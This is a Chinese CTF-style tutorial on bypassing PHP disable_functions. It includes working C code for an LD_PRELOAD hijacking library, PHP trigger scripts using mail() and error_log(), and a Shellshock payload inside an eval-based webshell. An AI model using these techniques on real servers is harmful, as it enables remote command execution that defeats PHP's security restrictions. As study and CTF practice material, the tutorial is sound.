php bypass disable function

最近开学,事太多了,好久没更新了,然后稍微闲一点一直在弄这个php bypass disable function,一开始自己的电脑win10安装蚁剑的插件,一直报错。怀疑是必须linux环境。下载github上官方源码又显示压缩包有问题,被搞了几天,心态爆炸。今天登github上下载又莫名其妙可以压缩了。装在虚拟机里,总算可以用了。

Bypass Disable Functions 专题 什么是bypass disable function

disable_functions可以对危险函数进行禁用。所以我们考虑的是在禁用了函数后,bypass的方法

首先我们看,我本地的phpinfo中,未对其进行禁用

php bypass disable function

在实际情况中,可能会禁用各种危险函数

php bypass disable function

ctf常见套路

本知识点在ctf常见的考察方法为:
通过传shell,连接进入网站后台后,发现flag文件,但是因为权限的问题,我们无法通过读文件的方法读到内容,又有readflag文件,点开发现其是一个执行文件,如果能够执行readflag内容,即可获得flag。或者使用具有权限的tac命令获取flag tac /flag

php bypass disable function

php bypass disable function

绕过方法 利用 LD_PRELOAD 环境变量

网上有讲述的很好的内容,我只精炼的说一下。

我们通过上传恶意的.so文件,重写相关系统函数,通过设置环境变量。把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新进程就会优先加载此文件,因为其可控,所以即可达到任意执行系统命令的效果

步骤:
通过C语言,写一个恶意动态链接库文件hack.so→设置环境变量恶意的hack.so文件的路径→配合php中函数触发hack.so文件→RCE

方法1:
如果要配合php中的某个函数,即需要其在运行时内能够启动子进程,这样才能重新加载环境变量,劫持系统函数,所以这里有两种方法mail和error_log函数都调用了外部进程sendmail
mail:其运行时,即会启动子进程调用sendmail
error_log:当其第二个参数设置为1时,即会调用sendmail
snedmail调用了geteuid函数,所以劫持geteuid

hack.c文件

#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() { system("**payload**"); } int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); }

geteuid被调用,那么会加载payload函数,执行命令。

生成hack.so动态链接程序(在linux命令行下敲此payload)
gcc -shared -fPIC hack.c -o hack.so

编写php脚本

<?php putenv("LD_PRELOAD=./getuid.so"); mail("","","","",""); ?> or <?php putenv("LD_PRELOAD=./test.so"); error_log(\'\',1); ?>

方法2:

在GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行__attribute__((constructor))修饰的函数。

hack.c文件

#include <stdlib.h> #include <string.h> __attribute__((constructor))void payload() { unsetenv("LD_PRELOAD"); const char* cmd = getenv("CMD"); system(cmd); }

剩下的生成.so动态链接库等操作与方法1相同

利用过程:
手动:将生成的.so文件通过蚁剑上传在/tmp目录下,php脚本放在网页根目录下,通过执行包含此php文件,输出执行的函数结果。
自动:蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过虚拟终端直接执行/readflag

shellshock

原理:

从’{‘开始执行,但是并没有在’}\'后停止,也就是说定义在函数体外shell命令也会执行

其余与LD_PRELOAD类似

<?php @eval($_REQUEST[\'ant\']); putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php"); error_log("admin",1); //mail("admin@localhost","","","",""); ?>

利用过程:
蚁剑使用bypass disable functions 插件,选择相应的模式,直接运行即可,通过在虚拟终端tac /flag 即可

Apache Mod CGI

原理:
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

在这里稍微说一下mod_cgi。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zgzxxf.html